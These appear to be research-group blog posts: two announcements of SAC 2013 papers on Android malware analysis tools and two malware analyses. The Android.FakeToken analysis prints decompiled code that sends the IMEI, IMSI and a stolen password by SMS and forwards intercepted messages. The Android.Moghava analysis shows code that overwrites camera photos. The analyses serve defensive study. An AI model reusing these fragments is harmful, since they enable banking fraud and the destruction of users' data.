SAAF @ SAC2013

We have a 2nd paper accepted at SAC’13: Slicing Droids: Program Slicing for Smali Code. The tool’s source code will be made available after the paper has been presented.

Here is the abstract:

The popularity of mobile devices like smartphones and tablets has increased significantly in the last few years with many millions of sold devices. This growth also has its drawbacks: attackers have realized that smartphones are an attractive target and iin the last months many different kinds of malicious software (short: malware) for such devices have emerged. This worrisome development has the potential to hamper the prospering ecosystem of mobile devices and the potential for damage is huge.

Considering these aspects, it is evident that malicious apps need to be detected early on in order to prevent further distribution and infections. This implies that it is necessary to develop techniques capable of detecting malicious apps in an automated way. In this paper, we present SAAF, a Static Android Analysis Framework for Android apps. SAAF analyzes smali code, a disassembled version of the DEX format used by Android’s Java VM implementation. Our goal is to create program slices in order to perform data-flow analyses to backtrack parameters used by a given method. This helps us to identify suspicious code regions in an automated way. Several other analysis techniques such as visualization of control flow graphs or identification of ad-related code are also implemented in SAAF. In this paper, we report on program slicing for Android and present results obtained by using this technique to analyze more than 136,000 benign and about 6,100 malicious apps.

Mobile-Sandbox @ SAC2013

Our paper Mobile-Sandbox: Having a Deeper Look into Android Applications got accepted at SAC’13 and will be presented there at 18-22 March 2013.

Here is the abstract:

Smartphones in general and Android in particular are increasingly shifting into the focus of cybercriminals. For understanding the threat to security and privacy it is important for security researchers to analyze malicious software written for these systems. The exploding number of Android malware calls for automation in the analysis. In this paper, we present Mobile-Sandbox, a system designed to automatically analyze Android applications in two novel ways:

  • it combines static and dynamic analysis, i.e., results of static analysis are used to guide dynamic analysis and extend coverage of executed code, and
  • it uses specific techniques to log calls to native (i.e., “non-Java”) APIs.

For this paper we evaluated the system with more than 36,000 applications from Asian third-party mobile markets and found that 24% of them actually use native calls in their code.

Detailed Analysis of Android.FakeToken

Intro: What is Android.FakeToken?

This new malware-family emerged some days ago within a spanish Spam-campain and spreads through email and SMS messages. This new Android malware tries to forward mTAN SMS messages to a remote user and thus has the typical man-in-the-middle functionality, we have already seen in malware families like Zeus and SpyEye, but it also can be controlled remotely and doesn’t need to infect the user’s PC.

Analysis of the Application and Its Structure

When installing the app it requests the following permissions:

  • android.permission.READ_PHONE_STATE
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.SEND_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.INTERNET
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.INSTALL_PACKAGES
  • android.permission.DELETE_PACKAGES
  • android.permission.READ_CONTACTS
  • android.permission.RECEIVE_BOOT_COMPLETED

After the application has been installed successfully, the icon of the app shows up in the dashboard and the application registers some receivers which will trigger when a specific system event occurs (for example: BOOT_COMPLETED, USER_PRESENT, PHONE_STATE or SMS_RECEIVED). When the user executes the app, it shows a WebView component that displays an html-page which looks like a Token-Generator and it appears to be from the targeted bank (in our case it should look like the Santander Consumer Bank):

localWebView.addJavascriptInterface(new WebApi(this), "android");
System.out.println("Build.VERSION.RELEASE: " + Build.VERSION.RELEASE);
if ((Build.VERSION.RELEASE.startsWith("2.3.1")) || (Build.VERSION.RELEASE.startsWith("2.3.3")))

To get the fake token (just a random number), the user must enter the first factor of authentication. As soon as this step is done, the application sends a SMS message to the author and starts a background service afterwards:

public void sendPass(String paramString)
      if (!Settings.saved.sendInitSms)
        Settings.saved.sendInitSms = true;
        String str = Settings.saved.smsPrefix + " INIT " + MainApplication.imei + " " + MainApplication.imsi + " " + paramString;
        MainService.sendSms(Settings.saved.number, str);;

This background service is listening to commands from the remote server (e.g. update of configuration) and starts periodically. When the smartphone of the victim receives a SMS message, the broadcast will be aborted and the message will be forwarded to a given phone number or remote server.

SmsMessage localSmsMessage = arrayOfSmsMessage[j];
String str1 = localSmsMessage.getOriginatingAddress();
String str2 = localSmsMessage.getMessageBody();
CatchResult localCatchResult = MainApplication.settings.isCatchMessage(str1, str2);
if (localCatchResult.result)
   MainService.start(paramContext, paramIntent, "catch", str1, str2, localCatchResult.key);
if ((MainApplication.settings.isNewServer(paramContext, str1, str2)) || (MainApplication.settings.isDeleteMessage(str1, str2)))

The application sends IMEI, IMSI, phone type, version, sid, phone number and the SMS body within a HTTP Post to one of the corresponding remote servers. These servers and all necessary information are stored in a xml configuration (/data/data/token.generator/files/settings):



This file can be updated remotely (via SMS and HTTP GET) if the phone number or server address of the malware author changes. The malware also has the ability to install further apk-files and sends the phone numbers of all entries in the address book of the victim to a remote server. The last step happens probably for further distribution of the malware.

Sample Information:



Mobile-Sandbox Report

Detailed Analysis of Android.Moghava

Intro: What is Android.Moghava?

This new malware-family emerged some days ago in third-party Iranian Android-Markets. It is one of the very few samples out there that is not intended to make money. Instead, the app represents another sample from the side of politically-motivated hacking (hacktivism) which modifies images that are stored on the device.

Even if this malicious app doesn’t cause any financial loss to the user of the smartphone, all the pictures on the smartphone are compromised.

Unfortunately, the sample which was submitted to our mobile-sandbox is not signed, so we couldn’t run it in our emulator and the rest of this analysis is made by looking directly in the decompiled code of the application.

Analysis of the Application and Its Structure

When installing the app it is requests the following permissions:

  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.RECEIVE_BOOT_COMPLETED

The application consist of two packages:

  • the benign part of the app: ir.sharif.iranianfoods
  • and the malicious part: com.Moghava

As it is very obvious that this is another repackaged app, we concentrated our analysis on the second package which has two classes, we will look at in the next sections.


This class is called when the smartphone receives a “boot completed” and calls the second class of the malicious package (see the code snippet below).

public void onReceive(Context paramContext, Intent paramIntent){
   if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())){
      paramContext.startService(new Intent(paramContext, stamper.class));


This class is responsible for the malicious action of the application. First it tries to receive a list with every picture of your phone. This action runs in the background in regular intervals.

File[] arrayOfFile = new File("/sdcard/DCIM/Camera/").listFiles(new FilenameFilter(){
   public boolean accept(File paramFile, String paramString){
      return paramString.endsWith(".jpg");

The application is only checking the /sdcard/DCIM/Camera/ folder, so on newer smartphones like the Samsung Galaxy S2 it isn’t getting all of your photos. On these smartphones the photos are often stored in /sdcard/external_sd/DCIM/Camera/.

After the application has received the list with all pictures inside this directory, it tries to modify them by merging the picture with a picture of Ayatollah Khomeini. Since the app isn’t checking if the picture is already compromised it does this action over and over again till the storage becomes full.

localBitmap1 = BitmapFactory.decodeResource(stamper.this.getResources(), 2130837505);
localBitmap2 = BitmapFactory.decodeFile(localFile.getPath());
if (localBitmap2.getWidth() > localBitmap1.getWidth()){
   k = localBitmap2.getWidth();
   n = localBitmap2.getHeight();
   localBitmap3 = Bitmap.createBitmap(k, n, Bitmap.Config.ARGB_8888);
   Canvas localCanvas = new Canvas(localBitmap3);
   localCanvas.drawBitmap(localBitmap2, 0.0F, 0.0F, null);
   localCanvas.drawBitmap(localBitmap1, 100.0F, 300.0F, null);

Sample Information:



Mobile-Sandbox Report